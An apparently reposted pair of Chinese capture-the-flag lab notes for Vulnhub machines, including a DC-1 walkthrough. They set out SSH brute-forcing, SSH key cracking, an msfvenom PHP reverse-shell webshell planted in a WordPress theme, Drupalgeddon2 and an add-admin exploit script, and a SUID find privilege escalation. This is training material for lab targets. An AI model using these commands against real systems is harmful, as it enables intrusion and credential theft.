入侵开放22端口的靶机

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了入侵开放22端口的靶机相关的知识,希望对你有一定的参考价值。

参考技术A

本人笔记,仅供参考

  

 相关靶机:

  

 链接:https://pan.baidu.com/s/1zjh53oOhmVCa8U-6_C_UjQ

  

 提取码:qd32

  

 渗透分析:

  

 对于开启ssh服务的22端口的靶场优先考虑

  

 1.暴力破解

  

 2.私钥泄露

  

 

  

  

 对于开放http服务的80端口或者其他端口的靶场优先考虑(特别注意大于1024的端口)

  

 1.通过浏览器访问对应靶场http服务如http://ip地址:端口号

  

 2.使用探测工具对http的目录进行探测,如dirb http://ip地址:端口号

  

 

  

  

 挖掘敏感信息:

  

 使用浏览器对靶场IP的http服务探测,对页面中展示的内容也要注意,尤其是联系人等信息(有可能就是ssh的用户名信息), 递归访问,力争把每一个dirb扫描到的目录页面都访问查看;

  

 尤其对robots.txt、以及一些目录进行访问,挖掘具备利用价值的信息。对于开放ssh服务的靶场,务必要注意是否可以寻找到ssh私钥信息(id_ rsa);

  

 对于某些靶场,也可以使用nikto扫描器来挖掘敏感信息;

  

 -- nikto -host靶场IP地址

  

 特别注意config等特殊敏感文件,要细读扫描的结果。挖掘可以利用的敏感信息;

  

 

  

  

 

  

  

 登录服务器之后,我们需要做以下操作。

  

 1、查看当前用户whoami .

  

 2、id 查看当前用户的权限

  

 3、查看根目录寻找flag文件

  

 如果是root权限,那么表明这个靶场就被全部拿下。但是如果不是,就肯定需要提权。一

  

 般情况下,flag文件只属于root用户和对应的用户组:

  

 

  

  

 cat /etc/passwd查看所有用户的列装

  

 cat /etc/group查看用户组

  

 find / -user用户名查看属于某些用户的文件

  

 /tmp查看缓冲文件目录

  

 

  

  

 

  

  

 深入挖掘

  

 通过/etc/crontab文件,设定系统定期执行的任务,编辑,需要roor权限。不同的用户都可以有不同的定时任务

  

 cat /etc/crontab挖掘其他用户是否有定时任务,并查看对应的任务内容。执行的任务肯定对应靶场机器的某个文件。

  

 如果在/etc/crontab下有某个用户的定时计划文件,但是具体目录下没有这个定时执行的文件,可以自行创建反弹shell,然后netcat执行监听获取对应用户的权限。

  

 如果有定时执行的文件,可以切换到对应的目录,查看对应的权限,查看当前用户是否具有读写权限。

  

 

  

  

 

  

  

 万不得已的时候只能对ssh服务进行暴力破解。破解最后一个

  

 用户名。破解工具如hydra、medusa等;

  

 利用cupp创建字典

  

 git clone https://github/jeanphorn/common-password.git

  

 chmod +x cupp.py

  

 ./cupp.py -i以交互的方式创建字典

  

 输入用户名然后一直回车到Do you want to add some random numbers at the end of words?输入yes其他全部no此时创建完成

  

 之后推荐用metasploit破解ssh

  

 在终端中输入

  

 msfconsole

  

 msf > use auxiliary/scaner/ssh/ssh_ login(使用该模块)

  

 set rhosts  192.168.56.103(确定ip地址)

  

 set username 用户名(破解的用户名)

  

 set pass_ file 用户名.txt(刚刚创建的字典)

  

 set threads  5(输入线程)

  

 Run(进攻)

  

 此时破解出密码例如123

  

 直接连接,如果出现问题可以重启msfconsole,启用该模块后

  

 set rhosts 192.168.56.103             (连接远程主机)

  

 set username hadi(用户名)

  

 Set password 123(密码)

  

 Run

  

 

  

  

 界面简陋就使用python优化界面

  

 Python -c “import pty;pty.spawn(‘/bin/bash’)”(优化界面)

  

 

  

  

 此时可以把自己权限提升到root:

  

 su - root

  

 回到根目录ls打开flag文件

  

 

  

  

 

  

  

 

  

  

 Ssh秘钥泄露

  

 解密Ssh秘钥信息(以秘钥名id_isa举例)

  

 Chmod  600 id_isa(赋予is_isa可读可写权限)

  

 ssh2john id_isa > isacrack       (就是用ssh2john把秘钥里的东西转换成john可识别的)

  

 

  

  

 Zcat  /usr/share/wordlists/rockyou.txt.gz | john --pipe --rules rsacracks(利用rockyou字典解出所需要的东西)

  

 

  

  

 

  

  

 制作webshell

  

 msfvenom -p php/meterpreter/reverse_tcp Ihost=攻击机IP地址Iport=4444 -f raw > /root/Desktop/shell.php

  

 启动监听

  

 msf > use exploit/multi/handler

  

 msf exploit(handler) > set payload php/meterpreter/reverse_tcp

  

 Weoshell

  

 msf exploit(handler) > set Ihost攻击机IP地址

  

 msf exploit(handler) > set lport 4444

  

 msf exploit(handler)> run

  

 

  

  

 

  

  

 

  

  

 上传Webshell

  

 使用找到的敏感信息登录系统后台,上传webshell。 执行

  

 webshel(访问具有webshell的php页面)

  

 获得反弹的shell

  

 --

  

 wordpress.上传点theme 404.php

  

 执行: http://靶场IP/wordpress/wp-content/themes/twentyfourteen/404.php

DC-1 Vulnhub

这个靶机一共有5个flag,全部找到就能通关。
因不知道DC-1靶机的IP,所有我们需要将靶机和kali放在同一个局域网里面,使用桥接模式,先探测DC-1的主机IP地址。

nmap -sP 192.168.1.0/24

拿到靶机的IP地址192.168.1.7
技术图片

接着探测靶机开放了哪些端口。

nmap -sV -p- 192.168.1.7

可以看到开放了22 80 111三个端口
技术图片

访问80端口。拿到一个Drupal CMS建的站。查看详细的信息

whatweb 192.168.1.7 

得到CMS的版本信息是Drupal 7
技术图片

那么我们可以用msf搜索CMS的漏洞

search drupal

技术图片

use exploit/unix/webapp/drupal_drupalgeddon2 //选择一个漏洞利用。
show options  //查看需要设置的参数
set RHOSTS 192.168.1.7     //设置参数
exploit      //攻击

成功的建立会话。
技术图片
进入系统的shell
技术图片
但是这里并不是交互的shell,所以我们要进入交互式的shell。
使用python的pty反弹一个交互式shell。
python -c "import pty;pty.spawn(‘/bin/bash‘)"
列一下当前的文件,拿到flag1.txt文件。
技术图片
提示我们每一个CMS都有一个配置文件。我们快可以百度一下Drupal CMS 配置文件所在路径,Drupal的默认配置文件为 /var/www/sites/default/settings.php。

cd sites/default
ls
cat settings.php

拿到flag2.txt文件。提示:字典爆破攻击不是获得访问权限的唯一方式(你需要拿到访问权限)这个应该是和dc-1主机密码有关系吧。
技术图片
同时flag.txt还给出了数据库的账号密码
技术图片
进入数据库查看。

mysql -u dbuser -p
use drupaldb
show tables;
select * from users;

我们可以发现admin用户。在exploitdb中有一个针对Drupal 7版本的攻击脚本,可以增加一个admin权限的用户账号,使用此方法简便破解admin的密码,
cat /var/www/includes/bootstrap.inc | grep VERSION
可以得到CMS版本为7.24,该漏洞在7.31版本之下都适用。
技术图片
下面搜索这个漏洞

msf5 > searchsploit drupal

技术图片
利用漏洞

kali@kali:~/Desktop$ python /usr/share/exploitdb/exploits/php/webapps/34992.py -t http://192.168.1.7 -u admin1 -p admin1

成功添加了一个admin1/admin1用户
技术图片
用新添加的账号密码登录。拿到flag3
技术图片
特殊的PERMS可以帮助找到密码-但您需要-exec该命令来确定如何获取隐藏的内容。
技术图片
在.etc/passwd中发现了flag4
技术图片
从信息中可以看出存在/home/flag4目录,拿到lfag4.txt。同时提示我们去找到root权限下的flag。那么拿到最后的flag需要提权了,www-data的权限显然不够。
技术图片
使用suid提权,找到一个属于root的有s权限的文件

www-data@DC-1:/$ find / -user root -perm 4000 -print 2>/dev/null
www-data@DC-1:/$ find / -perm -u=s -type f 2>/dev/null

查看find是否具有root权限。

cd /usr/bin
ls -l find

技术图片
find 具有root权限
技术图片

www-data@DC-1:/usr/bin$ mkdir test
www-data@DC-1:/usr/bin$ find test -exec ‘/bin/sh‘ ;

成功提权到root权限。
技术图片
寻找在root权限下的flag。

cd /root
ls
cat thfinalflag.txt

5个flag都拿到手了。
技术图片
flag是拿到手了,但是dc-1主机的密码一直没有拿到。我们可以用我们拿到的root权限去获取主机的密码。

# cd /etc
# cat shadow

按flag2.txt的提示,应该可以爆破出来吧。
技术图片
自己并没有爆破出来,看wp知道密码是orange。把orange加到字典里成功爆破,哈哈哈哈。。
技术图片
该靶机涉及到的一些点:

1、nmap 常用命令参数
nmap 主机名/IP地址  //扫描主机,加上-v参数可以获取更多细节
nmap 192.168.1.*  //使用通配符扫描整个子网
nmap -iL nmaptest.txt  //使用-iL参数批量扫描nmaptest.txt中列出的主机名和IP地址
nmap 192.168.1.* --exclude 192.168.1.8 //扫描整个子网,除去192.168.1.8这个地址
nmap -sA 192.168.1.7   //扫描主机是否使用滤包器和防火墙
nmap -sP 192.168.1.*  //扫描某一网段在线的主机
nmap -V  //查看nmap版本
nmap -p 80-160 192.168.1.7  //扫描某一主机的某一范围的端口
nmap -sV 192.168.1.7     //查询出在远程服务器的服务版本
nmap -sS 192.168.1.7     //执行一个秘密的扫描
2、Python一句话反弹shell
python -c "import pty;pty.spawn(‘/bin/bash‘)"

更多的反弹shell 的方法可以参考https://www.anquanke.com/post/id/87017

3、Linux下一些敏感目录
/etc/passwd                              # 账户信息
/etc/shadow                              # 账户密码文件
/usr/local/app/apache2/conf/httpd.conf   # Apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhost.conf   # 虚拟网站配置
/usr/local/app/php5/lib/php.ini          # PHP 配置文件
/etc/httpd/conf/httpd.conf               # Apache 配置文件
/etc/my.conf                             # MySQL 配置文件
4、find提权

原理:如果某些现有的二进制文件和实用程序具有SUID权限的话,就可以在执行时将权限提升为root。以下命令可以找到正在系统上运行的所有SUID可执行文件。准确的说,这个命令将从/目录中查找具有SUID权限位且属主为root的文件并输出它们,然后将所有错误重定向到/dev/null,从而仅列出该用户具有访问权限的那些二进制文件。参考链接 https://www.anquanke.com/post/id/86979

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} ;










































以上是关于入侵开放22端口的靶机的主要内容,如果未能解决你的问题,请参考以下文章

Toppo: 1

Toppo: 1

Symfonos1

内网渗透记一次靶机实战

Vulnhub-napping

LINUX 如何开放端口和关闭端口